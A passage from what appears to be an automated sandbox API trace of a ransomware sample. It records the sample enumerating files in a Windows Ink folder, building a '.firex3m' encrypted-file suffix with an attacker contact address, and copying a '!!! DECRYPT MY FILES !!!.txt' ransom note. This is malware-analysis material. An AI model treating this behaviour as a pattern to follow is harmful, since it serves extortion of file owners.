lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.354] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.354] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.355] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.355] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0110.355] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0110.355] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5340 [0110.355] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0110.355] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0110.358] GetProcessHeap () returned 0x630000 [0110.358] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04b8, Size=0x18) returned 0x6b01f8 [0110.358] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0110.358] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi", len=0x49 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 1 [0110.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi") returned 0x49 [0110.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.359] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.359] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.359] GetProcessHeap () returned 0x630000 [0110.359] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x1c) returned 0x6e9288 [0110.359] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0110.359] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 1 [0110.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi") returned 0x47 [0110.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.359] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.359] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.360] GetProcessHeap () returned 0x630000 [0110.360] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x20) returned 0x6e91e8 [0110.360] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0110.360] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 1 [0110.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi") returned 0x48 [0110.360] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.360] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.360] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.360] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.360] GetProcessHeap () returned 0x630000 [0110.360] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e91e8, Size=0x24) returned 0x699a98 [0110.360] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0110.361] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 1 [0110.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi") returned 0x44 [0110.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.361] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.361] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.361] GetProcessHeap () returned 0x630000 [0110.361] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x28) returned 0x699af8 [0110.361] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0110.361] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi", len=0x43 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 1 [0110.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi") returned 0x43 [0110.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.361] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.362] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.362] GetProcessHeap () returned 0x630000 [0110.362] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699af8, Size=0x2c) returned 0x6ed6348 [0110.362] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0110.362] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui", len=0x54 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 1 [0110.362] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui") returned 0x54 [0110.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.362] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.362] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.362] GetProcessHeap () returned 0x630000 [0110.362] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6348, Size=0x30) returned 0x6ed6150 [0110.362] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0110.363] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 1 [0110.363] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui") returned 0x47 [0110.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.363] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.363] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.363] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0110.363] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui", len=0x55 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 1 [0110.363] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui", cchLength=0x55 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui") returned 0x55 [0110.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.363] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.363] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.364] GetProcessHeap () returned 0x630000 [0110.364] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6150, Size=0x34) returned 0x6d4f80 [0110.364] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0110.364] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", len=0x4f | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 1 [0110.364] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui") returned 0x4f [0110.364] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.364] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.364] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.364] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.364] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0110.364] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", len=0x53 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 1 [0110.364] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui") returned 0x53 [0110.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.365] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.365] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.365] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0110.365] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi", len=0x41 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 1 [0110.365] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi") returned 0x41 [0110.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.365] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.365] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.365] GetProcessHeap () returned 0x630000 [0110.365] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4f80, Size=0x38) returned 0x6d5240 [0110.366] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0110.366] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 1 [0110.366] CharLowerBuffW (in: 